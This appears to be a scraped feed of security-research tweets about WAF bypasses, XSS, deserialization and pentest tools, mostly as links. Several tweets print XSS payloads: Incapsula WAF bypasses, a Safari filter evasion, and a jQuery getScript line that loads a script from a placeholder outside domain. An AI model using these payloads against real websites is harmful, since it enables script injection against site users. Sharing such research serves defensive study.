waf.ninja

[waf.ninja @wafninja]

JA3 fingerprint database for bot protection
https://t.co/anKvNSRU9u

[Aleksei Tiurin @antyurin]

Yet another gadget for java deserialization: Misusing Oracle JDBC for SSRF-attacks
https://t.co/V2xm8yQ5JM #javadeser #ZeroNights

[Brute @BRuteLogic]

#XSS Tip 😎
In case you want to call an external script using JQuery but it doesn't work because lib is not fully loaded yet.

onload=x=>$.getScript('//DOMAIN/SCRIPT')

https://t.co/tnkdYP9jHJ

[Nicolas Krassas @Dinosn]

Frida Engage Part Two | Shellcoding an Arm64 In-Memory Reverse TCP Shell with Frida https://t.co/VsTzhTkHZG

[waf.ninja @wafninja]

Libinjection bypass on different databases: MariaDB, MySQL, MSSQL, Oracle, PostgreSQL https://t.co/pX3SlFPytk

[Bo0oM @i_bo0om]

WebKit UXSS (CVE-2017-7089).
Safari 10 exploit:
https://t.co/UEePjkqHfW

[Hack with GitHub @HackwithGithub]

lscript -
The LAZY script will make your life easier, and of course faster
#KaliLinux #hacking #tools
https://t.co/Zc9nCA33vx

[Ivan Fratric 💙💛 @ifsecure]

Fun fact: Been doing DOM fuzzing for almost 10 years and shared bugs and exploit techniques, but this is the first time I share methodology. https://t.co/o8iDnuJGjb

[Brute @BRuteLogic]

Check this out! 😉 https://t.co/TtwU6kAY7l

[Hack with GitHub @HackwithGithub]

domato -
#DOM #fuzzer by @Google Project Zero
Author: @ifsecure
https://t.co/FxEvqIo8sf

[waf.ninja @wafninja]

How to bypass libinjection https://t.co/FvPa0Y8s4D

[XSS Payloads @XssPayloads]

Safari treats ';' as '='.
Regexp filters evasions for free...
Example by @mramydnei
<script>location.href;'javascript:alert(1)'</script>

[Hack with GitHub @HackwithGithub]

X41 #Browser #Security White Paper - #Tools and #PoCs by @X41Sec
https://t.co/Y9GUGrqUfE

[Brute @BRuteLogic]

XSS FTW - What Can Really Be Done With Cross-Site Scripting https://t.co/YLnJIwA8j5 #dc25 #XSS

[Sonar Research @Sonar_Research]

How to takeover Joomla! in 20 seconds via blind LDAP injection - 8 years overlooked vulnerability detected by RIPS https://t.co/30MdcVxZ2q

[Nicolas Krassas @Dinosn]

Yuki Chan - Automate Pentest Tool https://t.co/99NzN8xcaN

[Dave Ferguson @_sc0rn]

Between the ASVS, the Proactive Controls, and the Cheat Sheets, @OWASP takes secure development to a whole. nother. level. #appsec #owasp https://t.co/uaa1OtaZBn

[Bo0oM @i_bo0om]

Incapsula WAF XSS bypass

1) <iframe/onload='this["src"]="javas	cript:al"+"ert``"';>

2) <img/src=q onerror='new Function`al\ert\`1\``'>

[Hack with GitHub @HackwithGithub]

A collection of good #XXE #Payloads
https://t.co/njYqSdJXso